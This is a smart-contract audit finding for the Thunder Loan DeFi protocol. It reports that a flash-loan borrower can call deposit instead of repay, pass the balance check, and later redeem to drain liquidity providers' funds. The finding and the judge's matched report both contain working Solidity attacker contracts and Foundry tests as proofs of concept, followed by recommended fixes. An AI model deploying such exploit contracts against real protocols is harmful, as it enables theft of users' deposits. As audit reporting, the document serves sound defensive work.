Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

A flash-loan borrower can call `deposit` instead of `repay` to satisfy the repayment check and then `redeem`, stealing all protocol liquidity

Description

Liquidity providers deposit tokens into ThunderLoan and receive AssetToken shares
that can later be redeemed for the underlying. The protocol also offers flash loans:
flashloan sends the borrowed amount to a receiver contract, calls its
executeOperation, and then checks that the loan was paid back.

The problem is that flashloan decides whether the loan was repaid by looking only at
the asset token's balance
:

uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
...
assetToken.transferUnderlyingTo(receiverAddress, amount);
receiverAddress.functionCall(abi.encodeCall(IFlashLoanReceiver.executeOperation, (...)));
​
uint256 endingBalance = token.balanceOf(address(assetToken));
@> if (endingBalance < startingBalance + fee) { // only checks the balance, not that it was a real repay
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}

repay is not the only function that increases that balance. deposit also transfers
tokens into the asset token — and additionally mints the caller AssetToken shares.
So a malicious receiver can, inside executeOperation, call deposit(token, amount + fee)
instead of repay. The deposit raises the balance enough to pass the repayment check,
while crediting the attacker shares that represent a claim on that very liquidity. Once
the flash loan transaction finishes, the attacker calls redeem and withdraws the funds
back out. The borrowed amount is never truly returned — it is parked and then reclaimed,
draining the liquidity providers.

Risk

Likelihood: High — any user can perform this. Taking a flash loan with an attacker
contract and calling deposit inside the callback requires no privileges, no special
market conditions, and no victim interaction.

Impact: High — direct theft of liquidity providers' funds. Each attack drains the
pool of the borrowed amount; it can be repeated and scaled up to the full pool balance.

Proof of Concept

The malicious receiver deposits the borrowed amount (plus fee) instead of repaying, and
then redeems. The attacker starts holding only the fee and ends holding ~amount + fee;
the pool is left short:

contract DepositOverRepay is IFlashLoanReceiver {
ThunderLoan thunderLoan;
AssetToken assetToken;
IERC20 s_token;
​
constructor(address _thunderLoan) { thunderLoan = ThunderLoan(_thunderLoan); }
​
function executeOperation(address token, uint256 amount, uint256 fee, address, bytes calldata)
external returns (bool)
{
s_token = IERC20(token);
assetToken = thunderLoan.getAssetFromToken(IERC20(token));
IERC20(token).approve(address(thunderLoan), amount + fee);
thunderLoan.deposit(IERC20(token), amount + fee); // deposit instead of repay
return true;
}
​
function redeemMoney() external {
thunderLoan.redeem(s_token, assetToken.balanceOf(address(this)));
}
}
​
// Test extends the project's ThunderLoanTest (reuses setAllowedToken + hasDeposits):
function test_useDepositInsteadOfRepayToStealFunds() public setAllowedToken hasDeposits {
uint256 amountToBorrow = 50e18; // any amount up to the pool liquidity (DEPOSIT_AMOUNT = 1000e18)
uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
​
DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
tokenA.mint(address(dor), fee); // attacker only funds the fee
uint256 startAttacker = tokenA.balanceOf(address(dor));
​
vm.startPrank(user);
thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
dor.redeemMoney();
vm.stopPrank();
​
// attacker ends with far more than it started with -> stolen liquidity
assertGt(tokenA.balanceOf(address(dor)), startAttacker);
}

Result: the test passes — the attacker profits the borrowed amount and the pool loses it.

Recommended Mitigation

The repayment check must not be satisfiable by deposit. The simplest fix is to forbid
deposits for a token while that token is actively being flash-loaned, so the only way to
restore the balance is a genuine repay:

error ThunderLoan__CurrentlyFlashLoaning();
​
function deposit(IERC20 token, uint256 amount)
external
revertIfZero(amount)
revertIfNotAllowedToken(token)
{
if (s_currentlyFlashLoaning[token]) {
revert ThunderLoan__CurrentlyFlashLoaning();
}
// ... existing deposit logic ...
}

Alternatively, track the outstanding flash-loan debt explicitly and require it to be
cleared through repay, instead of inferring repayment from the raw token balance.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!